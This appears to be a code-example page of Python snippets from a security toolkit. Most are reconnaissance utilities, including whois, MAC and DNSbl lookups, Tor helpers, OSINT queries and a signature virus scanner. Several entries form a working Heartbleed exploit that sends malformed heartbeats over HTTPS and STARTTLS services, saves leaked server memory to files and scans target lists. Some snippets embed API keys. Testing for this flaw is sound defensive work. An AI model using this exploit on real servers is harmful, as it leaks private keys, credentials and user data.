Ejemplo n.º 1
0
    def check(self):
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.settimeout(self.timeout)
        self.print(colored(f"[i] Connecting to {self.host}:{self.port} ..."))
        self.socket.connect((self.host, self.port))

        self.starttls()
        self.print(colored("[i] Sending Client Hello ..."))
        self.socket.send(
            b'\x16\x03\x02\x00\xdc\x01\x00\x00\xd8\x03\x02SC[\x90\x9d\x9br\x0b\xbc\x0c\xbc+\x92\xa8H\x97\xcf\xbd9\x04\xcc\x16\n\x85\x03\x90\x9fw\x043\xd4\xde\x00\x00f\xc0\x14\xc0\n\xc0"\xc0!\x009\x008\x00\x88\x00\x87\xc0\x0f\xc0\x05\x005\x00\x84\xc0\x12\xc0\x08\xc0\x1c\xc0\x1b\x00\x16\x00\x13\xc0\r\xc0\x03\x00\n\xc0\x13\xc0\t\xc0\x1f\xc0\x1e\x003\x002\x00\x9a\x00\x99\x00E\x00D\xc0\x0e\xc0\x04\x00/\x00\x96\x00A\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05\x00\x04\x00\x15\x00\x12\x00\t\x00\x14\x00\x11\x00\x08\x00\x06\x00\x03\x00\xff\x01\x00\x00I\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x004\x002\x00\x0e\x00\r\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\t\x00\n\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00#\x00\x00\x00\x0f\x00\x01\x01'
        )
        self.print(colored("[i] Waiting for Server Hello ..."))

        while True:
            type, version, payload = self.recvmsg()
            if type == None:
                self.print(
                    colored(
                        "[!] Server closed connection without sending Server Hello.",
                        "red"))
                return False
            # Look for server hello done message.
            if type == 22 and payload[0] == 0x0E:
                break

        self.print(colored("[i] Sending heartbeat request ..."))
        self.socket.send(b'\x18\x03\x02\x00\x03\x01@\x00')
        vuln = self.hit_hb()
        return vuln
Ejemplo n.º 2
0
 def interact(self):
     while True:
         try:
             command, *args = input("\n" + colored(self.prompt, "yellow")).strip().split(" ")
             command = command.lower()
             args = [arg.strip() for arg in args if arg.strip()]
             if command:
                 if command in self.scripts():
                     self.exec(command, args)
                 else:
                     raise ValueError(f"{repr(command)} is not recognized as an internal command or script ...")
         except SystemExit:
             pass
         except KeyboardInterrupt as e:
             print("\n" + colored(f"[!] Are you sure you want to quit {self.name}? (enter 'Y' to confirm)", "yellow"))
             _quit = False
             while True:
                 try:
                     if input(colored(">>> ", "yellow", True)).strip().lower() == "y":
                         _quit = True
                     break
                 except:
                     pass
             if _quit:
                 break
         except Exception as e:
             print(colored(f"[!] {type(e).__name__}:", "red"))
             if str(e):
                 print(colored(f" -  {e}", "red", True))
Ejemplo n.º 3
0
def list(path):
    location = os.path.abspath(os.path.dirname(__file__))
    for name in sorted(os.listdir(location)):
        path = os.path.join(location, name)
        if not name.startswith("_") and name not in ["modules", "console.py"]:
            if os.path.isdir(path) and os.path.isfile(
                    os.path.join(path, "main.py")):
                path = os.path.join(path, "main.py")
            if os.path.isfile(path) and path.endswith(".py"):
                try:
                    module = loader.load(path)
                    name = name.rsplit(".", 1)[0]
                    doc = ""
                    for word in (module.__doc__.split("\n")[0]
                                 or "No description available.").split(" "):
                        if len(doc.split("\n")[-1]) >= term_size - (
                                len(name) +
                                7) or len(doc.split("\n")[-1] + word +
                                          " ") >= term_size - (len(name) + 7):
                            doc += "\n"
                        doc += word + " "
                    if hasattr(module, "parse_args"):
                        print(
                            colored(f" -  {name}: ") +
                            colored(("\n" +
                                     (" " *
                                      (len(name) + 6))).join(doc.split("\n")),
                                    dark=True))
                except:
                    pass
Ejemplo n.º 4
0
def hexdump(data: bytes, prefix=""):
    for b in range(0, len(data), 16):
        try:
            line = [char for char in data[b:b + 16]]
            print(
                colored(prefix + "{:04x}: {:48} |{}|".format(
                    b, " ".join(f"{char:02x}" for char in line), "".join(
                        (chr(char) if 32 <= char <= 126 else ".")
                        for char in line)),
                        dark=True))
        except KeyboardInterrupt:
            print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
            break
Ejemplo n.º 5
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("tor", description=__doc__)
    parser.add_argument("-c",
                        "--config",
                        type=argparse.FileType(),
                        metavar="File",
                        help="Config file (.json).")
    parser.add_argument("-k",
                        "--kill",
                        type=int,
                        metavar="PID",
                        nargs="+",
                        help="Kill/Close tor processes (from pids).")
    parser.add_argument("-l",
                        "--list",
                        action="store_true",
                        help="List active tor processes.")
    args = parser.parse_args(args)

    try:
        pids = tor.pids()
        num = len(pids)
        if args.list:
            print(
                colored(
                    f"[i] There {'is' if num == 1 else 'are'} {num or 'no'} Tor process{'' if num == 1 else 'es'} running at the momment."
                ))
            for pid in pids:
                print(colored(f" -  PID: {pid} ({hex(pid)})", dark=True))
        elif args.kill:
            for pid in sorted(set(args.kill)):
                try:
                    os.kill(pid, signal.SIGTERM)
                    print(
                        colored(
                            f"[+] Tor process with pid {pid} successfully killed."
                        ))
                except Exception as e:
                    print(
                        colored(
                            f"[!] Failed to close Tor process with pid {pid}: {e}",
                            "red"))
        else:
            config = json.load(args.config) if args.config else {}
            print(colored("[i] Starting Tor process ...", "yellow"))
            Tor = tor.Tor()
            Tor.start(False, " -  ")
            print(colored(f"[i] Process running with PID: {Tor.process.pid}"))
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored("[!] Keyboard Interrupted!", "red"))
Ejemplo n.º 6
0
 def hexdump(self, data):
     for b in range(0, len(data), 16):
         try:
             line = [char for char in data[b:b + 16]]
             self.print(
                 colored(" -  {:04x}: {:48} {}".format(
                     b, " ".join(f"{char:02x}" for char in line), "".join(
                         (chr(char) if 32 <= char <= 126 else ".")
                         for char in line)),
                         dark=True))
         except KeyboardInterrupt:
             self.print(
                 colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)",
                         "red"))
             break
     self.print("")
Ejemplo n.º 7
0
    def starttls(self):
        if self.protocol != "https":
            self.print(colored("[i] Sending STARTTLS Protocol Command ..."))

        if self.protocol == "smtp":
            self.socket.recv(0x400)
            self.socket.send(b"EHLO openssl.client.net\n")
            self.socket.recv(0x400)
            self.socket.send(b"STARTTLS\n")
            self.socket.recv(0x400)
        elif self.protocol == "pop3":
            self.socket.recv(0x400)
            self.socket.send(b"STLS\n")
            self.socket.recv(0x400)
        elif self.protocol == "imap":
            self.socket.recv(0x400)
            self.socket.send(b"STARTTLS\n")
            self.socket.recv(0x400)
        elif self.protocol == "ftp":
            self.socket.recv(0x400)
            self.socket.send(b"AUTH TLS\n")
            self.socket.recv(0x400)
        elif self.protocol == "xmpp":  # TODO: This needs SASL
            self.socket.send(
                b"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n"
            )
            self.socket.recv(0x400)
Ejemplo n.º 8
0
def parse_args(args: list = sys.argv[1:]):
    parser = ArgumentParser("whois", description=__doc__, epilog="Tip: Query \"?\" to get a help message sent directly from the whois server ...")
    parser.add_argument("query", type=str, help="Query to be sent to the whois server.")
    parser.add_argument("-s", "--server", default="whois.iana.org", type=str, help="Server which to send the query (defaults to 'whois.iana.org').")
    parser.add_argument("-p", "--port", default=43, type=int, help="Port of the server which to send the query (defaults to 43).")
    args = parser.parse_args(args)
    
    try:
        answer = whois(args.server, args.port, args.query)
        server = re.search("whois\: (.*)", answer)
        if server:
            answer = whois(server.groups()[0].strip(), 43, args.query)
        for line in answer.split("\n"):
            print(colored(line, dark=line.startswith("%")))
    except Exception as e:
        print(colored(f"[!] Failed to execute whois query against \"{args.server}\" through port \"{args.port}\":", "red"))
        print(colored(" -  " + str(e), "red", True))
Ejemplo n.º 9
0
 def __init__(self, name: str = "", prompt: str = "", intro: str = "[i] Welcome to the {name} console!"):
     self.location = os.path.abspath(os.path.dirname(__file__))
     
     self.name = name
     self.prompt = prompt or f"#{name}> "
     self.exec = lambda command, args = []: loader.load(self.scripts()[command.lower()]).parse_args(args)
     if readline:
         readline.set_completer(self.complete)
         readline.parse_and_bind("tab: complete")
     print(colored(intro.format(**locals()), "green"))
     self.exec("help")
Ejemplo n.º 10
0
 def recvmsg(self):
     hdr = self.recvall(5)
     if hdr is None:
         self.print(
             colored(
                 "[!] Unexpected EOF receiving record header: Server closed connection!",
                 "red"))
         return None, None, None
     type, version, ln = struct.unpack(">BHH", hdr)
     payload = self.recvall(ln, 10)
     if payload is None:
         self.print(
             colored(
                 "[!] Unexpected EOF receiving record payload: Server closed connection!",
                 "red"))
         return None, None, None
     self.print(
         colored(
             f"... Received message: type = {type}, ver = {version:04x}, length = {len(payload)}",
             dark=True))
     return type, version, payload
Ejemplo n.º 11
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("dnsbl", description=__doc__)
    parser.add_argument("host",
                        type=str,
                        help="Target hostname or ip address.")
    parser.add_argument("-k",
                        "--api-key",
                        type=str,
                        help="Your HTTP:Bl Access Key.")
    args = parser.parse_args(args)

    try:
        dnsbl = API(args.api_key)
        info = dnsbl.query(args.host)
        if info["message"]:
            raise Exception(info["message"])
        print(colored("[i] DNSbl query results:"))
        pprint(info, 1, lambda x: x, "green", True)
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored(f"[!] Keyboard Interrupted!", "red"))
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("full-contact", description=__doc__)
    parser.add_argument("query", type=str, help="Search query.")
    parser.add_argument("-t", "--type", type=str, default="email", help="Query type (email, twitter, phone, domain or company; Default: email).")
    parser.add_argument("-k", "--api-key", type=str, default="978e7c52735a8420", help="FullContact API key.")
    args = parser.parse_args(args)
    
    api = API(args.api_key)
    resp = api.search(args.type, args.query)
    print(colored(f"[i] Showing Contact Info For {args.type.title()} Query {repr(args.query)}:"))
    print(colored(" -  Request ID/SC: {0[requestId]}/{0[status]}".format(resp), dark=True))
    if "likelihood" in resp:
        print(colored(f" -  Likelihood: {resp['likelihood']:0.2%}", dark=True))
        print("")
    else:
        if "message" in resp:
            print(colored(f" -  Message: {resp['message']}", "yellow", True))
            sys.exit()
    
    if "contactInfo" in resp:
        print(colored(" -  Contact Info:"))
        pprint(resp["contactInfo"], 1)
        print("")
    
    if "digitalFootprint" in resp:
        print(colored(" -  Digital Footprint:"))
        pprint(resp["digitalFootprint"], 1)
        print("")
    
    if "socialProfiles" in resp:
        print(colored(" -  Social Profiles:"))
        for profile in resp["socialProfiles"]:
            print(colored(f"    - {profile['typeName']}:"))
            for i in ["type", "typeId", "typeName"]:
                del profile[i]
            #for key, value in profile.items():
            #    print(colored(f"      - {key.title()}: {value}", dark=True))
            pprint(profile, 2)
            print("")
    
    for key in ["socialProfiles", "digitalFootprint", "contactInfo", "likelihood", "requestId", "status", "photos"]:
        if key in resp:
            del resp[key]
    pprint(resp)
Ejemplo n.º 13
0
 def hit_hb(self):
     self.socket.send(b'\x18\x03\x02\x00\x03\x01@\x00')
     while True:
         type, version, payload = self.recvmsg()
         if type is None:
             self.print(
                 colored(
                     "[!] No heartbeat response received, server likely not vulnerable.",
                     "red"))
             return False
         elif type == 21:
             self.print(colored("[i] Received alert:"))
             if not self.quiet: self.hexdump(payload)
             self.print(
                 colored(
                     "[!] Server returned error, likely not vulnerable.",
                     "red"))
             return False
         elif type == 24:
             self.print(colored("[i] Received heartbeat response:"))
             if not self.quiet: self.hexdump(payload)
             if len(payload) > 3:
                 self.print(
                     colored(
                         "[i] WARNING: server returned more data than it should - server is vulnerable!",
                         "yellow"))
                 if self.dump_dir:
                     filename = os.path.join(
                         self.dump_dir,
                         f"{self.protocol}-{self.host}-{self.port}.bin")
                     file = open(filename, "ab")
                     file.write(payload)
                     file.close()
                     print(
                         colored(
                             f"[i] Data successfully saved on {repr(filename)}!"
                         ))
             else:
                 self.print(
                     colored(
                         "[i] Server processed malformed heartbeat, but did not return any extra data."
                     ))
             return True
Ejemplo n.º 14
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("help", description=__doc__)
    parser.add_argument("address", type=str, metavar="MAC Address", help="Target MAC Address.")
    args = parser.parse_args(args)

    address = int(args.address) if args.address.isdigit() else args.address
    try:
        mac = netaddr.EUI(address)
        info = mac.info["OUI"]
        
        print(colored(f"[i] Media Access Control Address Lookup For {mac}:"))
        print(colored(f" -  Extended Unique Identifier 64:       {mac.eui64()}", dark=True))
        print(colored(f" -  Modified EUI64 Address:              {mac.modified_eui64()}", dark=True))
        print(colored(f" -  Individual Access Block [IAB]:       {mac.iab if mac.is_iab() else 'Not an IAB'}", dark=True))
        print(colored(f" -  Organizationally Unique Identifier:  {mac.oui}", dark=True))
        print(colored(f" -  Extended Identifier [EI]:            {mac.ei}", dark=True))
        print(colored(f" -  Local Link IPv6 Address:             {mac.ipv6_link_local()}", dark=True))
        print(colored(f" -  Vendor Info:"))
        print(colored(f"    - Organization: {info['org']}", dark=True))
        print(colored( "    - Address:      {}".format("\n                    ".join(info["address"])), dark=True))
        print(colored(f" -  OUI Info:"))
        print(colored(f"    - Version: {mac.version}", dark=True))
        print(colored(f"    - Offset:  {info['offset']}", dark=True))
        print(colored(f"    - Size:    {info['size']}", dark=True))
        print(colored(f"    - IDX:     {info['idx']}", dark=True))
        print(colored(f"    - OUI:     {info['oui']}", dark=True))
        print(colored(f" -  Packed Address:          {mac.packed}", dark=True))
        print(colored(f" -  Hexadecimal Address:     {hex(mac)}", dark=True))
        print(colored(f" -  48-bit Positive Integer: {mac.value}", dark=True))
        print(colored(f" -  Octets:                  {', '.join(str(n) for n in mac.words)}", dark=True))
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
Ejemplo n.º 15
0
def parse_args(args: list = sys.argv[1:]):
    Tor = None
    parser = argparse.ArgumentParser("fingerprintor", description=__doc__)
    parser.add_argument("target",
                        type=str,
                        help="Target hidden service address.")
    args = parser.parse_args(args)
    target = args.target

    try:
        if not tor.pids():
            print(
                colored(
                    "[i] Tor is actually not running, starting a new temporary instance ...",
                    "yellow"))
            Tor = tor.Tor()
            Tor.start(False, " -  ")
            print("")
        hs = tor.HiddenService(target)
        print(colored("[i] Hidden Service Descriptive Info.:"))
        print(colored(f" -  Publish Date & Time: {hs.published}"))
        print(colored(f" -  Descriptor Identifier: {hs.descriptor_id}"))
        print(colored(f" -  Descriptor Hash: {hs.secret_id_part}"))
        print(colored(f" -  Descriptor Version: {hs.version}"))
        print(
            colored(
                f" -  Supported Versions: {', '.join(str(v) for v in hs.protocol_versions)}"
            ))
        print(colored(" -  Permanent Key: "))
        print(
            colored("    " + hs.permanent_key.replace("\n", "\n    "),
                    dark=True))
        print(colored(" -  Signature: "))
        print(colored("    " + hs.signature.replace("\n", "\n    "),
                      dark=True))
        print(colored(" -  Introduction Points:"))
        print(
            colored(
                f"      {' Identifier '.center(32, '-')}  {' Address '.center(21, '-')}"
            ))
        for introduction_point in sorted(hs.introduction_points(),
                                         key=lambda x: x.identifier):
            score = status = None
            print(
                colored(
                    f"    - {introduction_point.identifier}: " +
                    f"{introduction_point.address}:{introduction_point.port}",
                    dark=True))
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored("[!] Keyboard Interrupted!", "red"))
    if Tor:
        Tor.exit()
Ejemplo n.º 16
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("wserfpt", description=__doc__)
    parser.add_argument("url", type=str, help="Target URL.")
    args = parser.parse_args(args)
    
    session = requests.Session()
    try:
        head = session.head(args.url, verify=True)
    except requests.exceptions.SSLError as e:
        print(colored(f"[{type(e).__name__}] {str(e)[0].upper() + str(e)[1:]}", "yellow"))
        head = session.head(args.url, verify=False)
        print("")
    
    try:
        if Heartbleed(args.url).vulnerable:
            print(colored(f"[!] Target is affected by the Heartbleed Bug!", "red"))
            print("")
    except:
        pass
    
    print(colored(f"[i] HEAD Response Info.:"))
    pprint({"Version": f"HTTP/{'{0[0]}.{0[0]}'.format(str(head.raw.version))}", "Status": f"{head.status_code} {head.reason}",
            "Closed": head.raw.closed, "Chunked": head.raw.chunked,
            "Readable": head.raw.readable(), "Seekable": head.raw.seekable(), "Writable": head.raw.writable(),
            "Apparent Encoding": head.apparent_encoding, "Encoding": head.encoding,
            "Is Redirect": head.is_redirect, "Is Permanent Redirect": head.is_permanent_redirect,
            "Enforce Content Length": head.raw.enforce_content_length,
            "Retries": head.raw.retries.total}, title=False)
    
    headers = dict(head.headers)
    for name in ["Set-Cookie", "Link"]:
        while name in headers:
            del headers[name]
    
    if head.links:
        print("")
        print(colored(f"[i] Server Links: ({len(head.links)})"))
        pprint(head.links)
    
    if headers:
        print("")
        print(colored(f"[i] Server Headers: ({len(headers)})"))
        pprint(headers)
    
    if head.cookies:
        cookies = {}
        print("")
        print(colored(f"[i] Server Cookies: ({len(head.cookies)})"))
        for cookie in sorted(head.cookies, key=lambda x: x.name):
            name, value = cookie.name, cookie.value
            tags = tuple(sorted(set(["Secure" if cookie.secure else "Insecure"] + list(cookie._rest.keys()))))
            cookies[name] = {"tags": tags, "value": value}
            #print(colored(f" -  [{', '.join(tags)}] {name}: ") + colored(f"{value[:79] + '[...]' if len(value) > (79 - len(name)) else value}", dark=True))
        pprint(cookies)
    
    responses = []
    try:
        options = session.options(args.url).headers.get("Allow").split(",")
    except:
        options = []
        for method in ["GET", "HEAD", "OPTIONS", "PATCH", "POST", "PUT", "TRACE"]:
            try:
                resp = session.request(method, args.url)
                if resp.status_code != 405:
                    options.append(method)
                responses.append(resp)
            except:
                pass
    print(colored("\n[i] Supported request methods: ") + colored(f"{', '.join(sorted(options))}", dark=True))
    
    firewalls = []
    for resp in responses:
        for name, check in sorted(checks.items(), key=lambda x: x[0]):
            if name not in firewalls:
                detected = check(resp)
                if detected:
                    firewalls.append(name)
    if firewalls:
        print(colored(f"[i] Detected Web Application Firewall{'s' if len(firewalls) != 1 else ''}: {', '.join(firewalls)}"))
    
    resp_times = [resp.elapsed.total_seconds() for resp in responses]
    if resp_times:
        print("")
        print(colored("[i] Response Times Summary (in seconds):"))
        print(colored(f" -  Minimum: {min(resp_times):.02f}s   -   Average: {float(sum(resp_times)) / max(len(resp_times), 1):.02f}s   -   Maximum: {max(resp_times):.02f}s", dark=True))
Ejemplo n.º 17
0
                if resp.status_code != 405:
                    options.append(method)
                responses.append(resp)
            except:
                pass
    print(colored("\n[i] Supported request methods: ") + colored(f"{', '.join(sorted(options))}", dark=True))
    
    firewalls = []
    for resp in responses:
        for name, check in sorted(checks.items(), key=lambda x: x[0]):
            if name not in firewalls:
                detected = check(resp)
                if detected:
                    firewalls.append(name)
    if firewalls:
        print(colored(f"[i] Detected Web Application Firewall{'s' if len(firewalls) != 1 else ''}: {', '.join(firewalls)}"))
    
    resp_times = [resp.elapsed.total_seconds() for resp in responses]
    if resp_times:
        print("")
        print(colored("[i] Response Times Summary (in seconds):"))
        print(colored(f" -  Minimum: {min(resp_times):.02f}s   -   Average: {float(sum(resp_times)) / max(len(resp_times), 1):.02f}s   -   Maximum: {max(resp_times):.02f}s", dark=True))

if __name__ == "__main__":
    try:
        parse_args()
    except (Exception, KeyboardInterrupt) as e:
        print(colored(f"[!] {type(e).__name__}" + (":" if e else ""), "red"))
        if e:
            print(colored(f" -  {e}", "red", True))
Ejemplo n.º 18
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("r-ident", description=__doc__)
    parser.add_argument(
        "-r",
        "--results",
        type=int,
        default=1,
        help="Number of identities to generate (Default: 1, Max: 5.000).")
    parser.add_argument(
        "-g",
        "--gender",
        type=str,
        default="",
        help=
        "You can specify whether you would like to have only male or only female identities generated by adding the gender parameter. Valid values for the gender parameter are \"male\" or \"female\". Any other value will cause the service to return both male and female identities."
    )
    parser.add_argument(
        "-n",
        "--nationality",
        type=str,
        default="",
        help=
        "You can request different nationalities for identities (Possible Values: AU, BR, CA, CH, DE, DK, ES, FI, FR, GB, IE, IR, NL, NZ, TR, US)."
    )
    parser.add_argument(
        "-s",
        "--seed",
        type=str,
        default="",
        help=
        "Seeds allow you to always generate the same set of users. For example, the seed \"foobar\" will always return results for Becky Sims (for version 1.0). Seeds can be any string or sequence of characters."
    )
    args = parser.parse_args(args)

    try:
        resp = requests.get(
            f"https://randomuser.me/api/?results={args.results}&gender={args.gender}&nat={args.nationality}&seed={args.seed}&exc=registered,id&noinfo"
        )
        if resp.ok:
            resp = resp.json()
            results = resp.get("results", [])
            print(
                colored(
                    f"[i] {len(results) or 'No'} identit{'ies' if len(results) != 1 else 'y'} generated ..."
                ))
            for ident in results:
                ident["name"] = " ".join(ident["name"].values()).title()
                del ident["login"]["salt"]
                del ident["login"]["md5"]
                del ident["login"]["sha1"]
                del ident["login"]["sha256"]
                for key, value in ident.copy()["location"].items():
                    ident["location"][key] = str(value).title()
                pprint(ident)
                if len(results) > results.index(ident) + 1:
                    print("")
        else:
            raise Exception(resp.text)
    except (KeyboardInterrupt, Exception) as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        if str(e):
            print(colored(f" -  {e}", "red", True))
Ejemplo n.º 19
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser(
        "heartbleed",
        description=__doc__,
        epilog=
        "TIP: This script can actually exploit HTTPS, SMTP, IMAP, POP3, XMPP and FTP services that work with the affected OpenSSL version."
    )
    parser.add_argument(
        "-u",
        "--url",
        type=str,
        help=
        "Target URL: (e.g: 'http://hostname.ext:4433/', 'smtp://hostname.ext/')"
    )
    parser.add_argument("-t",
                        "--timeout",
                        type=float,
                        default=8,
                        help="Timeout on socket operations (in seconds).")
    parser.add_argument(
        "-d",
        "--dump-dir",
        type=str,
        default="",
        help=
        "Directory to save dumped data on (Does not saves dump data if this have not been specified)."
    )
    parser.add_argument("-f",
                        "--file",
                        type=argparse.FileType(),
                        help="Target list (Sep. by newlines).")
    args = parser.parse_args(args)

    if args.url:
        try:
            h = Heartbleed(args.url, args.timeout, args.dump_dir, quiet=False)
            h.check()
        except Exception as e:
            print(colored(f"[!] {type(e).__name__}:", "red"))
            print(colored(f" -  {e}", "red", True))
        except KeyboardInterrupt:
            print(colored("[!] Keyboard Interrupted! (Ctrl+C Pressed)", "red"))
    elif args.file:
        lines = [
            line.strip() for line in args.file.readlines() if line.strip()
        ]
        targets = sorted(set(lines))
        max_len = max([len(target) for target in targets])
        print(
            colored(
                f"[i] A total of {len(targets)} unique targets are going to checked ..."
            ))
        for target in targets:
            try:
                h = Heartbleed(target, args.timeout, args.dump_dir)
                vuln = h.check()
                print(
                    colored(
                        f"[{'+' if vuln else '-'}] {target.ljust(max_len + 3)}{'V' if vuln else 'Not v'}ulnerable to Heartbleed!",
                        "green" if vuln else "yellow"))
            except Exception as e:
                print(
                    colored(
                        f"[!] {target.ljust(max_len + 3)}{type(e).__name__.replace('_', ' ').title()}: {e if len(str(e)) < 45 else str(e)[:45] + '[...]'}",
                        "red"))
            except KeyboardInterrupt:
                print(colored("[!] Keyboard Interrupted!", "red"))
                break
    else:
        parser.print_help()
Ejemplo n.º 20
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("vir-s", description=__doc__)
    parser.add_argument("directory", type=str, help="Directory to be scanned.")
    args = parser.parse_args(args)

    virus_db = sqlite3.connect(
        os.path.join(os.path.abspath(os.path.dirname(__file__)),
                     "resources/virus-signatures.db"))
    viruses = virus_db.cursor()
    print(
        colored(
            f"[i] Virus Signature database currently have {sum(list(viruses.execute('SELECT COUNT(*) FROM signatures'))[0])} valid signatures ..."
        ))

    for dirpath, dirnames, filenames in os.walk(os.path.abspath(
            args.directory)):
        for filename in filenames:
            filepath = os.path.join(dirpath, filename).replace("\\", "/")
            print(colored(
                f"[i] Checking {repr(filepath[:term_size - 25] + ('[...]' if len(filepath) > term_size - 25 else ''))}"
                .ljust(term_size - 1)),
                  end="\r")
            for name, signature in viruses.execute(
                    "select name, signature from signatures"):
                signature = binascii.unhexlify(signature)
                sig_size = len(signature)
                try:
                    file = open(filepath, "rb")
                    data = file.read(512 + sig_size)
                    file.close()
                    if data.startswith(signature):
                        print(
                            colored(
                                f"[!] {repr(name)} have been detected:".ljust(
                                    term_size - 1)))
                        print(
                            colored(f" -  File: ") +
                            colored(f"{repr(filepath)}", dark=True))
                        print(colored(f" -  Signature: ({sig_size} bytes)"))
                        hexdump(signature, "    ")
                        first_bytes = data[sig_size:]
                        print(
                            colored(
                                f" -  First {len(first_bytes)} bytes of file (from byte #{sig_size} to #{len(first_bytes)}):"
                            ))
                        hexdump(first_bytes, "    ")
                        print("")
                        print(
                            colored(
                                f"[?] Do you want to delete this malicious file from your computer ?",
                                "yellow"))
                        print(
                            colored(
                                " -  Enter 'Y' or 'Yes' (without quotes) to confirm.",
                                "yellow", True))
                        try:
                            if input(colored(
                                    ">>> ", "yellow")).lower() in ["y", "yes"]:
                                os.remove(filepath)
                                print(
                                    colored(
                                        "[i] Malicious file successfully deleted!",
                                        "green"))
                        except Exception as e:
                            print(colored(f"[!] {type(e).__name__}:", "red"))
                            print(colored(f" -  {e}", "red", True))
                        print("")
                except KeyboardInterrupt:
                    print(
                        colored("[!] Keyboard Interrupted!",
                                "red").ljust(term_size - 1))
                    exit()
                except:
                    pass
    viruses.close()
Ejemplo n.º 21
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("help", description=__doc__)
    args = parser.parse_args(args)
    print(colored("[+] Available Commands:"))
    list("./")
Ejemplo n.º 22
0
from modules import httpbl
from modules.utils import pprint, colored
import argparse

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("host",
                        type=str,
                        help="Target hostname or ip address.")
    parser.add_argument("-k",
                        "--api-key",
                        type=str,
                        default="vztjisbgwwij",
                        help="Your HTTP:Bl Access Key.")
    args = parser.parse_args()

    try:
        dnsbl = httpbl.DNSbl(args.api_key)
        info = dnsbl.query(args.host)
        if info["message"]:
            raise Exception(info["message"])
        print(colored("[i] DNSbl query results:"))
        pprint(info, 1, lambda x: x, "green", True)
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
    except KeyboardInterrupt:
        print(colored(f"[!] Keyboard Interrupted!", "red"))
Ejemplo n.º 23
0
                    try:
                        if input(colored(">>> ", "yellow", True)).strip().lower() == "y":
                            _quit = True
                        break
                    except:
                        pass
                if _quit:
                    break
            except Exception as e:
                print(colored(f"[!] {type(e).__name__}:", "red"))
                if str(e):
                    print(colored(f" -  {e}", "red", True))


if __name__ == "__main__":
    try:
        c = Console("Sentinella", intro="""
      _________              __  .__              .__  .__          
     /   _____/ ____   _____/  |_|__| ____   ____ |  | |  | _____   
     \_____  \_/ __ \ /    \   __\  |/    \_/ __ \|  | |  | \__  \  
     /        \  ___/|   |  \  | |  |   |  \  ___/|  |_|  |__/ __ \_
    /_______  /\___  >___|  /__| |__|___|  /\___  >____/____(____  /
            \/     \/     \/             \/     \/               \/
            
                    We can see you ...
    """)
        c.interact()
    except Exception as e:
        print(colored(f"[!] {type(e).__name__}:", "red"))
        print(colored(f" -  {e}", "red", True))
Ejemplo n.º 24
0
def parse_args(args: list = sys.argv[1:]):
    parser = argparse.ArgumentParser("eph-hs", description=__doc__)
    parser.add_argument("-l",
                        "--list",
                        action="store_true",
                        help="List active hidden services.")
    parser.add_argument("-c",
                        "--close",
                        nargs="+",
                        help="Discontinue the specified hidden service.")
    parser.add_argument(
        "-p",
        "--ports",
        nargs="+",
        help=
        "Hidden service port or map of hidden service port to their targets.")
    parser.add_argument("-d",
                        "--discard-key",
                        action="store_true",
                        help="Avoid providing the key back in our response.")
    parser.add_argument("-k",
                        "--private-key",
                        type=argparse.FileType(),
                        default=None,
                        help="Key for the service to use.")
    args = parser.parse_args(args)

    try:
        if not tor.pids():
            print(
                colored(
                    "[i] Tor is actually not running, starting a new instance ...",
                    "yellow"))
            Tor = tor.Tor()
            Tor.start(False, " -  ")
            print("")
        controller = tor.Controller()
        if args.list:
            ehs_list = sorted(
                controller.list_ephemeral_hidden_services([], detached=True))
            num = len(ehs_list)
            print(
                colored(
                    f"[i] There {'is' if num == 1 else 'are'} {num or 'no'} ephemeral hidden service{'' if num == 1 else 's'} running at the momment."
                ))
            for address in ehs_list:
                hs = tor.HiddenService(address, controller)
                print(
                    colored(f" -  {hs.address} ({hs.descriptor_id})",
                            dark=True))
        elif args.close:
            for address in sorted(set(args.close)):
                if address.endswith(".onion"):
                    address = address.split(".")[0]
                try:
                    hs = tor.HiddenService(address, controller)
                    discontinued = controller.remove_ephemeral_hidden_service(
                        address)
                    print(
                        colored(f"[+] {hs.address} ({hs.descriptor_id}): ") +
                        (colored(
                            "Hidden Service not running in the first place ...",
                            "yellow"
                        ) if not discontinued else colored(
                            "Hidden Service successfully discontinued and closed."
                        )))
                except Exception as e:
                    print(colored(f"[!] {address}.onion: {e}", "red"))
        elif args.ports:
            ports = {}
            for port in args.ports:
                if "=" in port:
                    number, target = port.split("=", 1)
                    ports[int(number)] = target
                else:
                    ports[int(port)] = int(port)
            print(colored("[i] Creating Hidden Service ..."))
            ehs = tor.EphemeralHiddenService(ports, args.discard_key, True,
                                             args.private_key, controller)
            print(colored(f"[i] Hidden Service running on {ehs.address}:"))
